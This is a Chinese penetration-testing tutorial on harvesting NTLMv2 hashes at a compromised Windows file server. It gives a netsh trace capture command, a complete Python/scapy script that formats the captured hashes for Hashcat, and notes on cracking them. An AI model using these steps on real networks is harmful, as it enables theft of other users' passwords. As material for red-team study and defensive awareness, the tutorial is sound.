渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash
0x00 前言
在上篇文章《Windows下的密碼hash——NTLM hash和Net-NTLM hash介紹》比較了NTLM hash和Net-NTLM hash的區別,本文將繼續對Net-NTLM hash在內網滲透中的應用作介紹,解決一個有趣的問題:?如果獲得了內網一個文件服務器的權限,如何獲得更多用戶的口令?
0x01 簡介
本文將要介紹以下內容:
- 在windows平臺下不安裝任何第三方依賴庫來進行網絡抓包的方法
- 將數據包轉換成pcap格式
- 使用Wireshark對數據包進行分析
- 編寫Python提取出NTLMv2 Hash
- 使用Hashcat對Hash進行破解
0x02 解決思路
《Windows下的密碼hash——NTLM hash和Net-NTLM hash介紹》中提到,客戶端在連接文件服務器時,默認會將當前登錄用戶的密碼Hash發送至服務器進行驗證,如果驗證失敗,需要重新輸入登錄用戶名和口令 如果獲得了內網一個文件服務器的權限,那么內網中的其他主機在使用界面嘗試訪問該服務器時,首先會將本機的密碼Hash發送至服務器進行驗證,在服務器端抓取數據包能夠獲得NTLM Response,對NTLM Response的格式進行解析,提取特定信息,使用Hashcat嘗試字典破解或者暴力破解,就有可能還原出用戶本機的明文口令 所以,接下來需要解決第一個問題:?如何在文件服務器上抓取數據包?
0x03 Windows平臺下進行網絡抓包的方法
最常用的方法當然是安裝Wireshark,但如果能找到一種不安裝任何第三方依賴庫、系統自帶、直接用來抓包的方法豈不是更好? 方法當然是有的。 通過Windows系統自帶的netsh中的trace功能能夠實現不安裝任何第三方依賴庫,在命令行下進行抓包 支持Win7、Server2008R2及以后的系統,但不支持Server2008 官方說明文檔:
https://technet.microsoft.com/en-us/library/dd878517%28v=ws.10%29.aspx注:?netsh trace需要管理員權限 使用方法:
1.開啟記錄功能
netsh trace start capture=yes persistent=yes traceFile="c:\test\snmp1.etl" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.62.130 keywords=ut:authentication參數說明:
- capture=yes: 開啟抓包功能
- persistent=yes: 系統重啟不關閉抓包功能,只能通過Netsh trace stop關閉
- traceFile: 指定保存記錄文件的路徑
- overwrite=yes: 如果文件存在,那么對其覆蓋
- correlation=no: 不收集關聯事件
- protocol=tcp: 抓取TPC協議
- ipv4.address=192.168.62.130: 限定只抓和服務器IP相關的數據包
- keywords=ut:authentication: 關鍵字為ut:authentication
加上以上限定參數是為了盡可能減小數據包大小,只篩選出SMB協議中同NTLMv2認證有關的內容?注:?同級目錄下會生成系統的配置文件壓縮包,后綴名為.cab
2.關閉記錄功能
Netsh trace stop關閉功能后,系統會將捕獲到的數據包保存為etl結尾的文件 演示如下圖
3.查看etl文件
etl文件無法直接打開,需要借助工具windows message analyzer將其轉換成.cap格式(Wireshark能夠識別) windows message analyzer下載地址:
https://www.microsoft.com/en-us/download/confirmation.aspx?id=44226安裝后打開etl文件,等待文件識別,識別成功后界面左下角提示Ready,如下圖
4.轉換成.cap格式
File-Save as-Export,保存成cap包格式 使用Wireshark打開cap包文件,成功讀取數據包文件,獲得服務器上的數據包 從數據包中能找到SMB2協議,如下圖提取其中的一組數據包,還原出NTLM v2的關鍵信息,如下圖拼接固定格式:?username::domain:challenge:HMAC-MD5:blob?使用Hashcat進行破解?注:?詳細破解方法可參考文章《Windows下的密碼hash——NTLM hash和Net-NTLM hash介紹》,本文不再演示 如果手動組裝多個NTLM v2響應包,費事費力,所以需要編寫程序自動解析數據包,提取出Hashcat可用的NTLM v2內容 這就是第二個問題:?如何通過程序實現自動解析數據包,提取NTLM v2的內容?
0x04 通過程序實現自動解析數據包
開發語言: python python模塊: scapy 說明地址: https://github.com/invernizzi/scapy-http 安裝:
easy_install scapy easy_install scapy_httpscapy能夠解析pcap數據包,所以在使用前,先使用Wireshark將.cap包轉換成pcap包 scapy示例代碼如下:
try:import scapy.all as scapy except ImportError:import scapytry:# This import works from the project directoryimport scapy_http.http except ImportError:# If you installed this package via pip, you just need to execute thisfrom scapy.layers import httppackets = scapy.rdpcap('test.pcap') for p in packets:print('=' * 78)p.show()自動解析出每個數據包的格式,分為Ethernet、IP、TCP和Raw,如下圖程序開發思路: 1.對目的端口進行判斷,選出SMB協議的數據包 2.篩選出NTLMv2 Response數據包 3.通過當前數據包獲得username、domain、HMAC-MD5和blob 4.通過前一數據包獲得Server challenge 具體實現:
1.選出SMB協議的數據包
目的端口為445
packets[p]['TCP'].dport == 4452.篩選出NTLMv2 Response數據包
TCP payload包含特殊字符串NTLMSSP
packets[p]['Raw'].load.find('NTLMSSP') != -13.獲得通過當前數據包獲得username、domain、HMAC-MD5和blob
HMAC-MD5和blob為固定位置,直接通過固定偏移即可獲得 username和domain為固定格式,2字節表示Length,2字節表示Maxlen,4字節表示偏移,值得注意的2字節長度實際上為int型數據,在讀取時高低位要互換 例如讀取出16進制數據為4601,實際計算的是0146轉換成10進制的值,為326
DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16) DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256 DomainLength = DomainLength1 + DomainLength2domain以Unicode格式保存,需要轉換成ascii,具體實現是把字符串轉換成數組,只取奇數位
DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0] DomainName = ''.join(DomainName)完整實現代碼如下:
#!/usr/bin/env python try:import scapy.all as scapy except ImportError:import scapytry:# This import works from the project directoryimport scapy_http.http except ImportError:# If you installed this package via pip, you just need to execute thisfrom scapy.layers import httppackets = scapy.rdpcap('6.pcap') Num = 1 for p in range(len(packets)):try:if packets[p]['TCP'].dport ==445:TCPPayload = packets[p]['Raw'].loadif TCPPayload.find('NTLMSSP') != -1:if len(TCPPayload) > 500: print ("----------------------------------Hashcat NTLMv2 No.%s----------------------------------"%(Num))Num = Num+1print ("PacketNum: %d"%(p+1))print ("src: %s"%(packets[p]['IP'].src))print ("dst: %s"%(packets[p]['IP'].dst))Flag = TCPPayload.find('NTLMSSP')ServerTCPPayload = packets[p-1]['Raw'].loadServerFlag = ServerTCPPayload.find('NTLMSSP')ServerChallenge = ServerTCPPayload[ServerFlag+24:ServerFlag+24+8].encode("hex")print ("ServerChallenge: %s"%(ServerChallenge))DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16)DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256 DomainLength = DomainLength1 + DomainLength2#print DomainLengthDomainNameUnicode = TCPPayload[Flag+88:Flag+88+DomainLength]DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]DomainName = ''.join(DomainName)print ("DomainName: %s"%(DomainName)) UserNameLength1 = int(TCPPayload[Flag+36:Flag+36+1].encode("hex"),16)UserNameLength2 = int(TCPPayload[Flag+36+1:Flag+36+1+1].encode("hex"),16)*256 UserNameLength = UserNameLength1 + UserNameLength2#print UserNameLengthUserNameUnicode = TCPPayload[Flag+88+DomainLength:Flag+88+DomainLength+UserNameLength]UserName = [UserNameUnicode[i] for i in range(len(UserNameUnicode)) if i%2==0]UserName = ''.join(UserName)print ("UserName: %s"%(UserName)) NTLMResPonseLength1 = int(TCPPayload[Flag+20:Flag+20+1].encode("hex"),16)NTLMResPonseLength2 = int(TCPPayload[Flag+20+1:Flag+20+1+1].encode("hex"),16)*256NTLMResPonseLength = NTLMResPonseLength1 + NTLMResPonseLength2 #print NTLMResPonseLength NTLMResPonse = TCPPayload[Flag+174:Flag+174+NTLMResPonseLength].encode("hex") #print NTLMResPonseprint "Hashcat NTLMv2:"print ("%s::%s:%s:%s:%s"%(UserName,DomainName,ServerChallenge,NTLMResPonse[:32],NTLMResPonse[32:]))except:pass執行后程序輸出如下圖接著使用Hashcat進行破解即可?注:?解析pcap包的開源工具:
https://github.com/DanMcInerney/net-creds但在解析ntlmv2的challenge時會出現bug
0x05 補充
對于文件服務器,如果開啟了NetBIOS over TCP/IP,那么禁用445端口后,系統會嘗試使用139端口進行連接 測試如下: 服務器禁用445端口,開啟139端口 客戶端嘗試連接,SMB協議使用139端口,抓包如下圖如果禁用了NetBIOS over TCP/IP,那么禁用445端口后,無法使用文件共享
0x06 小結
本文解決了在獲得內網一個文件服務器的權限后,獲得更多用戶的口令的問題。 通過Windows命令行抓包獲得SMB協議內容,編寫程序自動提取NTLMv2 Hash,使用Hashcat進行破解,有可能還原出用戶本機的明文口令
總結
以上是生活随笔為你收集整理的渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Microsoft Azure 中的 S
- 下一篇: 马斯克:只有优秀的员工 才配居家办公